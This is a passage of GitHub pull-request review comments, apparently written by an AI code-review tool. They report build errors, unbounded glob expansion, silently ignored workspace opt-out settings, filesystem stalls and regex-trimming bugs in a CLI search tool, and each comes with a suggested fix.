Suggested fix: Treat the enabled setting as the one-time authorization for install + background index (no per-workspace interactive gate), keeping only the external-path confirmation; or provide a documented non-interactive setup path.

— qwen3.8-max via Qwen Code /review (v0.21.9)

Comment on lines +182 to +187
const { lastFrame } = renderWithProviders(
<AskUserQuestionDialog
confirmationDetails={details}
onConfirm={onConfirm}
/>,
);

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] The new fixed-choice test renders AskUserQuestionDialog without the required availableWidth prop (required, no default, AskUserQuestionDialog.tsx:51; every sibling test passes availableWidth={80}). This is the second of the two build errors LaZzyMan named on 2026-08-05, still unfixed. — Failure scenario: CLI typecheck/build fails: tsc reproduced in this worktree reports AskUserQuestionDialog.test.tsx(183,10): error TS2741: Property 'availableWidth' is missing ... but required in type 'AskUserQuestionDialogProps'.

Suggested fix: Add availableWidth={80} to the rendered dialog in this test.

— qwen3.8-max via Qwen Code /review (v0.21.9)

Comment on lines +282 to +284
function expandBraceAlternates(value: string): string[] {
const match = value.match(/^(.*?)\{([^{}]+)\}(.*)$/);
if (!match) return [value];

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] Brace-alternate expansion is unbounded and exponential in the number of brace groups; the schema imposes no length cap on glob/path/paths/exclude, and addScopeArgs takes the cross product of expanded paths x globs. Measured in a probe through the real tool: an 80-char glob with 16 brace groups already costs 92ms/+13MB and breaks the native-rg fallback via argv blowup; extrapolation to 30 groups is ~10^9 strings. — Failure scenario: A model-composed glob like '{a,b}'.repeat(30) (150 chars) expands to 2^30 strings synchronously → tens of GB → OOM-kills the CLI before zg spawns. Reachable without any approval prompt: getDefaultPermission allows workspace-internal rg/semantic calls. Deviates from the in-repo maxLength convention used by other tools.

Suggested fix: Expand iteratively with a hard cap (e.g. 512) and fail validation when exceeded.

— qwen3.8-max via Qwen Code /review (v0.21.9)

Comment on lines +1364 to +1366
try {
await this.config.disableZvecGrepForWorkspace();
} catch (error) {

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] The 'could not save' notice only fires on a rejected promise, but the CLI callback's setValue lacks throwOnWriteFailure. Probe through the real chain: a workspace settings file shaped [] (left on disk by loadSettings) → setValue resolves with nothing persisted and no throw; the same write with throwOnWriteFailure:true throws. — Failure scenario: When the workspace write is refused (non-object JSON root left on disk, or a failed recovery-reset write), 'Disable for this workspace' silently persists nothing: the catch never runs, no notice, and the setup prompt returns every session despite the promise 'Do not install or index here'.

Suggested fix: Pass { throwOnWriteFailure: true } to setValue in onDisableZvecGrepForWorkspace so a refused write rejects and the existing catch/notice fires.

— qwen3.8-max via Qwen Code /review (v0.21.9)

Comment on lines +2117 to +2118
currentSettings.setValue(
SettingScope.Workspace,

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] In an UNTRUSTED folder the workspace opt-out write succeeds but is never read back: mergeSettings drops the entire workspace scope while untrusted (safeWorkspace = {}), while zvecGrepEnabled itself has no trust gate (user-scope enabled:true survives). Distinct from the refused-write finding — here the write succeeds and is silently ignored. — Failure scenario: With folder trust enabled and the folder untrusted, the user picks 'Do not install or index here. Always use regular search in this workspace' — nothing is persisted that takes effect, and the prompt returns every session: the choice's promise breaks exactly in the folder type where a user is most likely to pick it.

Suggested fix: Gate the DISABLE_WORKSPACE_CHOICE on the workspace scope actually being honored (trusted + active), or surface a notice that the opt-out cannot be persisted while the folder is untrusted.

— qwen3.8-max via Qwen Code /review (v0.21.9)

Comment on lines +1029 to +1031
if (!paths.has(candidate) && fs.existsSync(candidate)) {
paths.add(candidate);
}

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] makeSearchSuccessResult runs extractResultFilePaths + recordGrepResultFileReads over the ENTIRE uncapped output (20MB budget; the schema steers the model to omit limit for rg; runNativeGrepSearch slices lines only for the semantic op): one SYNC fs.existsSync per unique file, stat batches of 50, an unbounded resultFilePaths array fed through the scheduler's FS_PATH_TOOL_NAMES per-path matching loop, and FileReadCache FIFO (4096) churn. Sibling ripGrep.ts caps lines BEFORE deriving result paths. — Failure scenario: An ordinary un-limited rg-mode search for a common pattern in a monorepo → tens of thousands of unique files → multi-second per-call event-loop stall (sync syscall storm) plus per-path scheduler work, evicting genuine read records from the cache.

Suggested fix: Derive resultFilePaths from the same bounded line set used for llmContent and/or cap the array before recording/returning it.

— qwen3.8-max via Qwen Code /review (v0.21.9)

Comment on lines +1449 to +1450
let status = await runZg(['status'], cwd, signal);
if (!status.ok && this.setupApproved && status.error !== 'aborted') {

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] An abort during execute()'s initial zg status probe falls through to runNativeGrep on the already-aborted signal: ripgrepUtils classifies the canceled run (error, empty stdout) → 'Regular search failed … This operation was aborted' + a wasted rg spawn. Sibling runGrepSearch handles error === 'aborted' explicitly — the two paths disagree about abort semantics. (The scheduler does override the final result to 'cancelled' when the parent signal is aborted, so the misleading text typically doesn't reach the model — the residual harm is the wasted spawn and the inconsistency.) — Failure scenario: User cancels during the status window of a semantic call → one wasted rg spawn and an abort handled differently than the identical case two functions over.

Suggested fix: After the status probe, short-circuit aborts the way runGrepSearch does: if (!status.ok && status.error === 'aborted') return makeErrorResult(...).

— qwen3.8-max via Qwen Code /review (v0.21.9)

Comment on lines +250 to +254
function getSearchQuery(params: ZvecGrepParams): string | undefined {
const query =
params.operation === 'rg'
? params.pattern?.trim() || params.query?.trim()
: params.query?.trim() || params.pattern?.trim();

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] getSearchQuery trims the rg pattern, silently altering whitespace-significant regexes; validation only rejects whitespace-ONLY strings. House ripGrep.ts passes params.pattern verbatim. Probe end-to-end with the vendored rg: pattern 'foo ' matched both 'foo bar' and 'foobar' (trimmed), and only 'foo bar' after removing the trim (flip). — Failure scenario: Patterns like 'foo ' (disambiguating 'foo bar' from 'foobar') or ' if' (indented literal) return a silently larger, wrong match set; the same trim feeds the semantic fallback path.

Suggested fix: Don't trim pattern in the rg branch (params.pattern ?? params.query?.trim()); keep trimming the natural-language query.

— qwen3.8-max via Qwen Code /review (v0.21.9)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

7 participants